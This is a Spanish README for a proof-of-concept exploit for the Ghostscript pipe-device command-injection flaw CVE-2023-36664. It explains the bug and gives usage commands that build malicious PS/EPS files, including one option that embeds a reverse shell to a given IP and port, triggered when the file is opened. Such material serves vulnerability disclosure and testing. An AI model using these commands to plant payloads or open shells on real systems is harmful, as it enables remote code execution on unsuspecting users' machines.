
PoC de vulnerabilidad de inyección de comandos en Ghostscript (CVE-2023-36664)
La vulnerabilidad divulgada en Ghostscript anterior a la versión 10.01.2 conduce a la ejecución de código (puntuación CVSS 9.8).
Descripción oficial de la vulnerabilidad:
Artifex Ghostscript hasta 10.01.2 maneja incorrectamente la validación de permisos para dispositivos de tubería (con el prefijo %pipe% o el prefijo de carácter de tubería |).
Debian publicó un aviso de seguridad que menciona la posible ejecución de comandos arbitrarios:
"Se descubrió que Ghostscript, el intérprete GPL de PostScript/PDF, no maneja correctamente la validación de permisos para dispositivos de tubería, lo que podría resultar en la ejecución de comandos arbitrarios si se procesan archivos de documento malformados."
El repositorio se creó para una publicación de blog de análisis de la CVE disponible en el blog de vsociety.
Descargue Ghostscript 10.01.1 aquí: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Enlace directo al ejecutable de Windows x64: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
La explotación puede ocurrir al abrir un archivo PS o EPS y puede permitir la ejecución de código debido a que Ghostscript maneja incorrectamente la validación de permisos para los dispositivos de tubería.
Uso: python3 CVE_2023_36664_exploit.py <input_file> <command>
Ejemplo:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Esto genera un nuevo archivo llamado file_injected.eps.
Abra esto con Ghostscript para activar la calculadora (desde la versión 9.50 también debe usar la opción -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Otros ejemplos: Genere un nuevo archivo EPS llamado run_calculator.eps con el payload "calc" (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Genere un nuevo archivo EPS llamado rev_shell.eps con una IP personalizada (inicia una shell inversa cuando se activa en Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Genere un nuevo archivo PS malicius.ps con el payload "calc" (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Inyecte un payload personalizado malicioso ("calc") en un archivo existente llamado file.eps (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando se cuente con autorización explícita. Los mantenedores del proyecto no son responsables del mal uso del software. Úselo de manera responsable.